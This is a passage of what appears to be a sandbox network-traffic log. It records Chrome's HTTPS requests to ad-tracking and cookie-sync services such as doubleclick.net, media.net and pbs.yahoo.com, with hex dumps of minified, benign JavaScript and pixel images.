2024-04-27 22:42:10 UTC	1371	IN	Data Raw: 6f 6e 20 68 62 28 61 29 7b 41 2e 63 61 6c 6c 28 74 68 69 73 2c 61 29 7d 0a 66 75 6e 63 74 69 6f 6e 20 51 70 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 62 7d 0a 66 75 6e 63 74 69 6f 6e 20 54 70 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6b 7d 0a 66 75 6e 63 74 69 6f 6e 20 4c 70 28 29 7b 72 65 74 75 72 6e 20 66 61 6c 73 65 7d 0a 66 75 6e 63 74 69 6f 6e 20 56 70 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 2e 71 7d 0a 66 75 6e 63 74 69 6f 6e 20 59 66 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 61 2a 61 2e 62 7d 0a 66 75 6e 63 74 69 6f 6e 20 43 28 61 29 7b 72 65 74 75 72 6e 20 48 66 28 29 7c 7c 61 2e 61 7d 0a 66 75 6e 63 74 69 6f 6e 20 79 63 28 29 7b 72 65 74 75 72 6e 20 43 28 6e 63 2e 63 29 7d 0a 66 75 6e 63 74 69 6f 6e 20 4d 70 28 29 7b 72 65 74 75 72 6e 20 75 Data Ascii: on hb(a){A.call(this,a)}function Qp(){return this.b}function Tp(){return this.k}function Lp(){return false}function Vp(a){return a.g.q}function Yf(a){return a.a*a.b}function C(a){return Hf()\|\|a.a}function yc(){return C(nc.c)}function Mp(){return u
2024-04-27 22:42:10 UTC	1371	IN	Data Raw: 2e 61 3d 73 6a 3b 74 68 69 73 2e 66 3d 61 7d 0a 66 75 6e 63 74 69 6f 6e 20 53 6a 28 29 7b 50 6a 28 74 68 69 73 29 3b 74 68 69 73 2e 72 62 28 29 7d 0a 66 75 6e 63 74 69 6f 6e 20 5f 6a 28 29 7b 5f 6a 3d 78 6e 3b 21 21 28 71 6b 28 29 2c 70 6b 29 7d 0a 66 75 6e 63 74 69 6f 6e 20 76 67 28 29 7b 76 67 3d 78 6e 3b 75 67 3d 6e 65 77 20 24 66 28 35 2c 35 29 7d 0a 66 75 6e 63 74 69 6f 6e 20 76 6b 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 52 6e 28 61 2c 62 29 7d 0a 66 75 6e 63 74 69 6f 6e 20 6d 66 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 66 2b 27 5f 27 2b 61 2e 62 7d 0a 66 75 6e 63 74 69 6f 6e 20 4a 28 61 29 7b 76 61 72 20 62 3b 62 3d 5f 66 28 29 3b 61 2e 63 3d 62 7d 0a 66 75 6e 63 74 69 6f 6e 20 47 6e 28 64 2c 61 2c 62 29 7b 76 61 72 20 63 3d 61 3b 64 5b 63 5d 3d 62 7d Data Ascii: .a=sj;this.f=a}function Sj(){Pj(this);this.rb()}function _j(){_j=xn;!!(qk(),pk)}function vg(){vg=xn;ug=new $f(5,5)}function vk(a,b){return Rn(a,b)}function mf(a){return a.f+'_'+a.b}function J(a){var b;b=_f();a.c=b}function Gn(d,a,b){var c=a;d[c]=b}
2024-04-27 22:42:10 UTC	1371	IN	Data Raw: 20 61 2e 24 48 7c 7c 28 61 2e 24 48 3d 2b 2b 74 6f 29 7d 0a 66 75 6e 63 74 69 6f 6e 20 56 28 61 29 7b 61 2e 64 3f 5a 28 61 2e 67 29 3a 24 28 61 2e 67 29 3b 4e 66 28 54 2c 61 29 7d 0a 66 75 6e 63 74 69 6f 6e 20 4e 6a 28 29 7b 46 6a 28 29 3b 43 6a 28 28 44 62 28 29 2c 24 77 6e 64 29 29 3b 44 6a 28 29 7d 0a 66 75 6e 63 74 69 6f 6e 20 57 63 28 61 2c 62 2c 63 29 7b 56 63 28 29 3b 55 63 2e 51 28 61 2c 62 2c 63 29 7d 0a 66 75 6e 63 74 69 6f 6e 20 58 63 28 61 2c 62 2c 63 2c 64 29 7b 56 63 28 29 3b 55 63 2e 52 28 61 2c 62 2c 63 2c 64 29 7d 0a 66 75 6e 63 74 69 6f 6e 20 44 6e 28 63 2c 61 2c 62 29 7b 63 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 61 2c 62 29 7d 0a 66 75 6e 63 74 69 6f 6e 20 46 6e 28 63 2c 61 29 7b 76 61 72 20 62 3d 61 3b 72 65 74 75 72 6e 20 63 5b 62 5d Data Ascii: a.$H\|\|(a.$H=++to)}function V(a){a.d?Z(a.g):$(a.g);Nf(T,a)}function Nj(){Fj();Cj((Db(),$wnd));Dj()}function Wc(a,b,c){Vc();Uc.Q(a,b,c)}function Xc(a,b,c,d){Vc();Uc.R(a,b,c,d)}function Dn(c,a,b){c.postMessage(a,b)}function Fn(c,a){var b=a;return c[b]
2024-04-27 22:42:10 UTC	1371	IN	Data Raw: 61 2c 62 29 7b 61 2e 62 3d 62 3b 62 21 3d 6e 75 6c 6c 26 26 73 6f 28 62 2c 43 70 2c 61 29 7d 0a 66 75 6e 63 74 69 6f 6e 20 4e 63 28 61 29 7b 74 68 69 73 2e 61 3d 61 3b 68 62 2e 63 61 6c 6c 28 74 68 69 73 2c 31 38 30 29 7d 0a 66 75 6e 63 74 69 6f 6e 20 48 67 28 61 29 7b 74 68 69 73 2e 61 3d 61 3b 68 62 2e 63 61 6c 6c 28 74 68 69 73 2c 31 38 38 29 7d 0a 66 75 6e 63 74 69 6f 6e 20 68 65 28 61 29 7b 74 68 69 73 2e 61 3d 61 3b 68 62 2e 63 61 6c 6c 28 74 68 69 73 2c 31 37 35 29 7d 0a 66 75 6e 63 74 69 6f 6e 20 46 65 28 61 29 7b 74 68 69 73 2e 61 3d 61 3b 68 62 2e 63 61 6c 6c 28 74 68 69 73 2c 32 30 31 29 7d 0a 66 75 6e 63 74 69 6f 6e 20 47 65 28 61 29 7b 74 68 69 73 2e 61 3d 61 3b 68 62 2e 63 61 6c 6c 28 74 68 69 73 2c 32 30 32 29 7d 0a 66 75 6e 63 74 69 6f 6e Data Ascii: a,b){a.b=b;b!=null&&so(b,Cp,a)}function Nc(a){this.a=a;hb.call(this,180)}function Hg(a){this.a=a;hb.call(this,188)}function he(a){this.a=a;hb.call(this,175)}function Fe(a){this.a=a;hb.call(this,201)}function Ge(a){this.a=a;hb.call(this,202)}function
2024-04-27 22:42:10 UTC	1371	IN	Data Raw: 7b 76 61 72 20 62 3b 62 3d 4f 6e 28 61 29 3b 56 6e 28 61 2c 62 29 3b 72 65 74 75 72 6e 20 62 7d 0a 66 75 6e 63 74 69 6f 6e 20 4d 69 28 61 29 7b 69 66 28 61 2e 62 29 7b 72 65 74 75 72 6e 20 61 2e 63 2e 61 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 0a 66 75 6e 63 74 69 6f 6e 20 70 66 28 29 7b 69 66 28 6b 63 29 7b 72 65 74 75 72 6e 20 6b 63 2e 56 28 29 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 0a 66 75 6e 63 74 69 6f 6e 20 48 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 62 3b 72 65 74 75 72 6e 20 61 5b 63 5d 21 3d 3d 75 6e 64 65 66 69 6e 65 64 7d 0a 66 75 6e 63 74 69 6f 6e 20 43 65 28 61 29 7b 61 26 26 28 55 28 29 2c 53 3d 61 2c 64 62 28 29 2c 75 6e 64 65 66 69 6e 65 64 29 7d 0a 66 75 6e 63 74 69 6f 6e 20 71 6b 28 29 7b 71 6b 3d 78 6e 3b 76 61 72 20 61 3b 21 73 6b 28 29 Data Ascii: {var b;b=On(a);Vn(a,b);return b}function Mi(a){if(a.b){return a.c.a}return null}function pf(){if(kc){return kc.V()}return null}function Hn(a,b){var c=b;return a[c]!==undefined}function Ce(a){a&&(U(),S=a,db(),undefined)}function qk(){qk=xn;var a;!sk()
2024-04-27 22:42:10 UTC	1371	IN	Data Raw: 29 3b 4d 66 28 45 6a 2c 63 29 3b 6c 63 3d 61 7d 0a 66 75 6e 63 74 69 6f 6e 20 4e 66 28 61 2c 62 29 7b 76 61 72 20 63 3b 63 3d 4c 66 28 61 2c 62 29 3b 63 21 3d 2d 31 26 26 61 2e 73 70 6c 69 63 65 28 63 2c 31 29 7d 0a 66 75 6e 63 74 69 6f 6e 20 41 64 28 61 29 7b 76 61 72 20 62 3b 62 3d 27 27 2b 61 3b 4c 66 28 78 64 2c 62 29 21 3d 2d 31 7c 7c 4d 66 28 78 64 2c 62 29 7d 0a 66 75 6e 63 74 69 6f 6e 20 53 69 28 61 29 7b 76 61 72 20 62 3b 69 66 28 61 2e 62 29 7b 62 3d 65 6a 28 61 2e 63 29 3b 21 21 62 26 26 6b 69 28 61 2e 68 2c 36 29 7d 7d 0a 66 75 6e 63 74 69 6f 6e 20 44 28 61 29 7b 48 28 61 2c 5f 66 28 29 29 3b 69 66 28 21 61 2e 61 29 7b 61 2e 61 3d 74 72 75 65 3b 49 28 61 2c 61 2e 62 29 7d 7d 0a 66 75 6e 63 74 69 6f 6e 20 6b 6a 28 61 2c 62 29 7b 69 66 28 61 2e Data Ascii: );Mf(Ej,c);lc=a}function Nf(a,b){var c;c=Lf(a,b);c!=-1&&a.splice(c,1)}function Ad(a){var b;b=''+a;Lf(xd,b)!=-1\|\|Mf(xd,b)}function Si(a){var b;if(a.b){b=ej(a.c);!!b&&ki(a.h,6)}}function D(a){H(a,_f());if(!a.a){a.a=true;I(a,a.b)}}function kj(a,b){if(a.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
323	192.168.2.4	50091	142.251.167.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:10 UTC	890	OUT	GET /pixel?cs=8&google_nid=media&google_cm=1&google_hm=MzU3MjU5MzI0OTEwNDU5MDAwMFYxMA%3D%3D&google_sc=1&gdpr=0&gdpr_consent= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1
2024-04-27 22:42:10 UTC	683	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://cs.media.net/cksync?type=g&cs=8&gdpr=0&gdpr_consent=&google_gid=CAESEPKex8KgiD5UyK1lepusKL4&google_cver=1 Date: Sat, 27 Apr 2024 22:42:10 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 330 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:10 UTC	330	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 63 73 2e 6d 65 64 69 61 2e 6e 65 74 2f 63 6b 73 79 6e 63 3f 74 79 70 65 3d 67 26 61 6d 70 3b 63 73 3d 38 26 61 6d 70 3b 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 67 69 64 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://cs.media.net/cksync?type=g&cs=8&gdpr=0&gdpr_consent=&google_gid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
324	192.168.2.4	50139	23.45.148.30	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:10 UTC	794	OUT	GET /cksync.php?type=mf&ovsid=786797b7-bf38-456a-a874-4aad6fb5186b&cs=3&redirect=https://rtb-use.mfadsrvr.com/sync HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: usp_status=1; visitor-id=3572593249104590000V10
2024-04-27 22:42:10 UTC	412	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 56 Content-Type: image/gif p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Sat, 27 Apr 2024 22:42:10 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 27 Apr 2024 22:42:10 GMT Connection: close
2024-04-27 22:42:10 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-04-27 22:42:10 UTC	13	IN	Data Raw: 20 20 20 20 20 0a 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
325	192.168.2.4	50140	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:10 UTC	1686	OUT	GET /setuid?bidder=appnexus&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=1476058396850158061 HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; uids=eyJ0ZW1wVUlEcyI6eyJvcGVueCI6eyJ1aWQiOiJlMzcxYjFjZC1iMjUzLTA5MTMtMTUzYS1lYWFjYjliOTRjNTMiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNi4yMDMzNzYwOTVaIn0sInNoYXJldGhyb3VnaCI6eyJ1aWQiOiI1MWI5NTEzZC0zMWZiLTRlMTMtOGE5Ni0zMjY2MTZkMDA0M2YiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNC44NTk4NDk2OFoifSwidHRkIjp7InVpZCI6IjQzZTdkYzhlLTU0NTgtNDM3NS1iZTRhLTY0NDczN2VkNGRiZCIsImV4cGlyZXMiOiIyMDI0LTA1LTExVDIyOjQyOjA5LjE3MzA1OTc2MVoifX19
2024-04-27 22:42:10 UTC	1213	IN	HTTP/1.1 200 OK content-type: image/png set-cookie: uids=eyJ0ZW1wVUlEcyI6eyJhZG54cyI6eyJ1aWQiOiIxNDc2MDU4Mzk2ODUwMTU4MDYxIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTAuNzcyNzc5NjkxWiJ9LCJvcGVueCI6eyJ1aWQiOiJlMzcxYjFjZC1iMjUzLTA5MTMtMTUzYS1lYWFjYjliOTRjNTMiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNi4yMDMzNzYwOTVaIn0sInNoYXJldGhyb3VnaCI6eyJ1aWQiOiI1MWI5NTEzZC0zMWZiLTRlMTMtOGE5Ni0zMjY2MTZkMDA0M2YiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNC44NTk4NDk2OFoifSwidHRkIjp7InVpZCI6IjQzZTdkYzhlLTU0NTgtNDM3NS1iZTRhLTY0NDczN2VkNGRiZCIsImV4cGlyZXMiOiIyMDI0LTA1LTExVDIyOjQyOjA5LjE3MzA1OTc2MVoifX19; Path=/; Domain=pbs.yahoo.com; Expires=Sat, 26 Oct 2024 22:42:10 GMT; HttpOnly; Secure; SameSite=None vary: Origin content-length: 86 date: Sat, 27 Apr 2024 22:42:10 GMT x-envoy-upstream-service-time: 2 server: ATS x-envoy-decorator-operation: pbs--production-usea5.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/* Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:42:10 UTC	86	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 0d 49 44 41 54 08 99 63 60 60 60 60 00 00 00 05 00 01 87 a1 4e d4 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsBIT\|dIDATc````NIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
326	192.168.2.4	50137	172.253.122.155	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:10 UTC	589	OUT	GET /dcm/impl_v101.js HTTP/1.1 Host: www.googletagservices.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:10 UTC	808	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/ads-dcm-tag Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="ads-dcm-tag" Report-To: {"group":"ads-dcm-tag","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/ads-dcm-tag"}]} Content-Length: 61228 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Fri, 26 Apr 2024 11:36:50 GMT Expires: Sat, 26 Apr 2025 11:36:50 GMT Cache-Control: public, max-age=31536000 Last-Modified: Mon, 01 Apr 2024 16:06:27 GMT Content-Type: text/javascript Vary: Accept-Encoding Age: 126320 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:10 UTC	447	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 30 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 3c 61 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 61 5b 62 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 21 30 7d 7d 7d 2c 62 61 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 61 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 Data Ascii: (function(){var aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.va
2024-04-27 22:42:10 UTC	1255	IN	Data Raw: 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e 20 63 7d 74 68 72 6f 77 20 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 66 69 6e 64 20 67 6c 6f 62 61 6c 20 6f 62 6a 65 63 74 22 29 3b 0a 7d 2c 70 3d 63 61 28 74 68 69 73 29 2c 71 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 62 29 61 3a 7b 76 61 72 20 63 3d 70 3b 61 3d 61 2e 73 70 6c 69 74 28 22 2e 22 29 3b 66 6f 72 28 76 61 72 20 64 3d 30 3b 64 3c 61 2e 6c 65 6e 67 74 68 2d 31 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 61 5b 64 5d 3b 69 66 28 21 28 65 20 69 6e 20 63 29 29 62 72 65 61 6b 20 61 3b 63 3d 63 5b 65 5d 7d 61 3d 61 5b 61 2e 6c 65 6e 67 74 68 2d 31 5d 3b 64 3d 63 5b 61 5d 3b 62 3d 62 28 64 29 3b 62 21 3d 64 26 26 6e 75 6c 6c 21 3d Data Ascii: b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");},p=ca(this),q=function(a,b){if(b)a:{var c=p;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=
2024-04-27 22:42:10 UTC	1255	IN	Data Raw: 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 61 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 53 74 72 69 6e 67 28 61 29 2b 22 20 69 73 20 6e 6f 74 20 61 6e 20 69 74 65 72 61 62 6c 65 20 6f 72 20 41 72 72 61 79 4c 69 6b 65 22 29 3b 7d 2c 68 61 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 3f 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 66 75 6e 63 74 Data Ascii: =typeof Symbol&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if("number"==typeof a.length)return{next:aa(a)};throw Error(String(a)+" is not an iterable or ArrayLike");},ha="function"==typeof Object.create?Object.create:function(a){var b=funct
2024-04-27 22:42:10 UTC	1255	IN	Data Raw: 26 74 68 69 73 2e 67 2e 6c 65 6e 67 74 68 3b 29 7b 76 61 72 20 66 3d 74 68 69 73 2e 67 3b 74 68 69 73 2e 67 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 66 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 7b 76 61 72 20 6b 3d 66 5b 68 5d 3b 66 5b 68 5d 3d 6e 75 6c 6c 3b 74 72 79 7b 6b 28 29 7d 63 61 74 63 68 28 6c 29 7b 74 68 69 73 2e 6c 28 6c 29 7d 7d 7d 74 68 69 73 2e 67 3d 6e 75 6c 6c 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 6c 3d 66 75 6e 63 74 69 6f 6e 28 66 29 7b 74 68 69 73 2e 69 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 66 3b 0a 7d 29 7d 3b 76 61 72 20 65 3d 66 75 6e 63 74 69 6f 6e 28 66 29 7b 74 68 69 73 2e 68 3d 30 3b 74 68 69 73 2e 69 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 67 3d 5b 5d 3b 74 68 69 73 2e 76 3d 21 31 3b 76 61 72 20 68 3d Data Ascii: &this.g.length;){var f=this.g;this.g=[];for(var h=0;h<f.length;++h){var k=f[h];f[h]=null;try{k()}catch(l){this.l(l)}}}this.g=null};b.prototype.l=function(f){this.i(function(){throw f;})};var e=function(f){this.h=0;this.i=void 0;this.g=[];this.v=!1;var h=
2024-04-27 22:42:10 UTC	1255	IN	Data Raw: 70 2e 43 75 73 74 6f 6d 45 76 65 6e 74 2c 68 3d 70 2e 45 76 65 6e 74 2c 6b 3d 70 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 3b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 3d 74 79 70 65 6f 66 20 6b 29 72 65 74 75 72 6e 21 30 3b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 66 3f 66 3d 6e 65 77 20 66 28 22 75 6e 68 61 6e 64 6c 65 64 72 65 6a 65 63 74 69 6f 6e 22 2c 7b 63 61 6e 63 65 6c 61 62 6c 65 3a 21 30 7d 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 68 3f 66 3d 6e 65 77 20 68 28 22 75 6e 68 61 6e 64 6c 65 64 72 65 6a 65 63 74 69 6f 6e 22 2c 7b 63 61 6e 63 65 6c 61 62 6c 65 3a 21 30 7d 29 3a 28 66 3d 70 2e 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 43 75 73 74 6f 6d 45 76 65 6e 74 22 29 2c 66 Data Ascii: p.CustomEvent,h=p.Event,k=p.dispatchEvent;if("undefined"===typeof k)return!0;"function"===typeof f?f=new f("unhandledrejection",{cancelable:!0}):"function"===typeof h?f=new h("unhandledrejection",{cancelable:!0}):(f=p.document.createEvent("CustomEvent"),f
